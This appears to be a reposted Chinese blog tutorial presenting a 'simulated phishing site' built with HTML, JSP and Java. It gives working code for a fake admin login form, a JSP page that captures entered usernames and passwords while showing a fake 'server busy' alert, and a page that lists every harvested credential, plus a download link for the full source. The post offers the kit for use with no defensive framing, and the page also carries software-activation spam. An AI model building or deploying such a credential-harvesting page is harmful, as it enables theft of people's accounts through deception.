Java|JavaScript 模拟钓鱼网站实例一[通俗易懂]

Java|JavaScript 模拟钓鱼网站实例一[通俗易懂]本次只是用最简单的方法模拟钓鱼网站。前端的代码是从网上下载的,我只是做了稍微的修改。整个项目的源码如下(2018年2月10日在审核估计2月11后可以下载):http://download.csdn.net/download/qq78442761/10247969最后的效果是如下图:输入用户名和密码后,会提醒服务器繁忙然后,我们登录到另外一个页面进行查看:这里涉及如下技术:1.修改网上下载的html…

大家好,又见面了,我是你们的朋友全栈君。如果您正在找激活码,请点击查看最新教程,关注关注公众号 “全栈程序员社区” 获取激活教程,可能之前旧版本教程已经失效.最新Idea2022.1教程亲测有效,一键激活。

Jetbrains全系列IDE使用 1年只要46元 售后保障 童叟无欺

本次只是用最简单的方法模拟钓鱼网站。

前端的代码是从网上下载的,我只是做了稍微的修改。

整个项目的源码如下(2018年2月10日在审核估计2月11后可以下载):

http://download.csdn.net/download/qq78442761/10247969

最后的效果是如下图:

Java|JavaScript 模拟钓鱼网站实例一[通俗易懂]

输入用户名和密码后,会提醒服务器繁忙

然后,我们登录到另外一个页面进行查看:

Java|JavaScript 模拟钓鱼网站实例一[通俗易懂]

这里涉及如下技术:

1.修改网上下载的html代码,为自己所使用。

2.读取前端数据,填出提示框,和页面跳转。

3.用链表存储数据,用另外一个页面打印。

1.修改的前端html如下:

index.html的伪代码

<script>
	function login(){
		var form1=document.formLogin;
		form1.action="query.jsp";
		form1.submit();
	}
</script>

</head>
<body>
		<div class="container demo-1">
			<div class="content">
				<div id="large-header" class="large-header">
					<canvas id="demo-canvas"></canvas>
					<div class="logo_box">
						<h3>后台登录</h3>
						<form name="formLogin" action="#" name="f" method="post">
							<div class="input_outer">
								<span class="u_user"></span>
								<input name="logname" class="text" style="color: #FFFFFF !important" type="text" placeholder="请输入账户">
							</div>
							<div class="input_outer">
								<span class="us_uer"></span>
								<input name="logpass" class="text" style="color: #FFFFFF !important; position:absolute; z-index:100;"value="" type="password" placeholder="请输入密码">
							</div>
							<div class="mb2"><a class="act-but submit"   href="javascript:login(0);"  style="color: #FFFFFF">登录</a></div>
						</form>
					</div>
				</div>
			</div>
		</div><!-- /container -->

下面是获得前端数据,和实现跳转,弹出提示框功能:

query.jsp的伪代码

  <%
    	request.setCharacterEncoding("UTF-8");
    	String name=request.getParameter("logname");
    	String passWD=request.getParameter("logpass");
    	Data currData=new Data();
    	currData.setUserName(name);
    	currData.setPassWord(passWD);
    	DataList.put(currData);
    	
    	
    	out.print("<script>alert('服务器繁忙'); window.location.href='index.html'</script>");
    
     %>

下面是java代码,是链表的存储

data.java

package my;



public class Data {
	
	private String userName;
	private String passWord;
	
	public String getUserName() {
		return userName;
	}
	
	public void setUserName(String userName) {
		this.userName = userName;
	}
	
	public String getPassWord() {
		return passWord;
	}
	
	public void setPassWord(String passWord) {
		this.passWord = passWord;
	}
	
}

DataList.java的代码

package my;

import java.util.ArrayList;


public class DataList {
	public static ArrayList dataList=new ArrayList();
	public static void put(Data data){	//压入链尾
		dataList.add(data);
	}
	
}
	

最后是打印页面

print.jsp的伪代码

    <%
    int countNum=DataList.dataList.size();
    out.write("总数据是"+countNum+"</br>");
    out.write("收字符串首串是用户名,接着是密码!</br>");
    for(int i=0;i<DataList.dataList.size();i++){
   		Data data=(Data)DataList.dataList.get(i);
    	out.write(data.getUserName()+"-------------"+data.getPassWord()+"</br>");
    }
     %>

代码很简单,在此不再说明,逻辑也很清晰,需要源码的在最上面那个链接下载!

版权声明:本文内容由互联网用户自发贡献,该文观点仅代表作者本人。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌侵权/违法违规的内容, 请联系我们举报,一经查实,本站将立刻删除。

发布者:全栈程序员-站长,转载请注明出处:https://javaforall.net/172711.html原文链接:https://javaforall.net

(0)
全栈程序员-站长的头像全栈程序员-站长


相关推荐

  • 浏览器主页被劫持成360导航.每次打开都是360导航https://hao.360.cn/?src=lm&ls=n36a7f6a197

    浏览器主页被劫持成360导航.每次打开都是360导航https://hao.360.cn/?src=lm&ls=n36a7f6a197这里有个误区:(本人亲测有效)大家都以为是篡改了主页,其实你去IE的设置里去看,主页没变化,或者说已经被锁定不能修改了。问题出在启动项的参数上—你试试在桌面IE的图标点击属性,看目标下边,正常的只有EXE文件的路径,但是很可能你的EXE文件路径后边跟上了一串网址字符,我的就是这样:"C:\ProgramFiles\InternetExplorer\iexplore.exe" htt…

    2022年7月14日
    20
  • 大数据分析应用领域有哪些[通俗易懂]

    大数据分析应用领域有哪些[通俗易懂]  软件和服务的大数据分析市场收入预计将从2018年的$42B增长到2027年的$103B,复合年增长率(CAGR)为10.48%。这就是为什么,大数据分析认证是业内最全神贯注的技能之一。在这个“大数据分析应用领域”文章中,我将带您进入各个行业领域,在这里我将解释大数据分析如何使它们发生革命性变化。  大数据分析应用  大数据分析应用程序的主要目标是通过分析大量数据来帮助公司做出更具信息量的业务决策。它可能包括Web服务器日志,Internet点击流数据,社交媒体内容和活动报告,来自客户电子邮

    2022年5月29日
    42
  • potplayer提高帧数_potplayer 60帧

    potplayer提高帧数_potplayer 60帧PotPlayerLAVMadVRSVP4播放器设置这里,推荐使用历史版本的potplayer64,因为新版本的功能有点多余,https://www.videohelp.com/download/PotPlayerSetup64-1.7.16291.exe这个版本是最后一个UI没有大改的,没有直播等无用功能(本地播放器)。安装主程序说明:OpenCodec…

    2025年11月16日
    3
  • 史上最全的中高级JAVA工程师-面试题汇总

    史上最全的中高级JAVA工程师-面试题汇总史上最全的java工程师面试题汇总,纯个人总结,精准无误。适合中高级JAVA工程师。

    2022年6月13日
    23
  • fiddler4手机抓包教程(安卓抓包教程)

    fiddler手机抓包原理及详细的相关配置

    2022年4月11日
    348
  • 数据库系统原理及MySQL应用教程_三十讲之第三讲读后感

    数据库系统原理及MySQL应用教程_三十讲之第三讲读后感此文为极客时间MySQL实战45讲第13节的笔记一、表数据的存放位置表数据既可以存在共享表空间里,也可以是单独的文件。这个行为是由参数innodb_file_per_table控制的:OFF

    2022年8月16日
    5

发表回复

您的邮箱地址不会被公开。 必填项已用 * 标注

关注全栈程序员社区公众号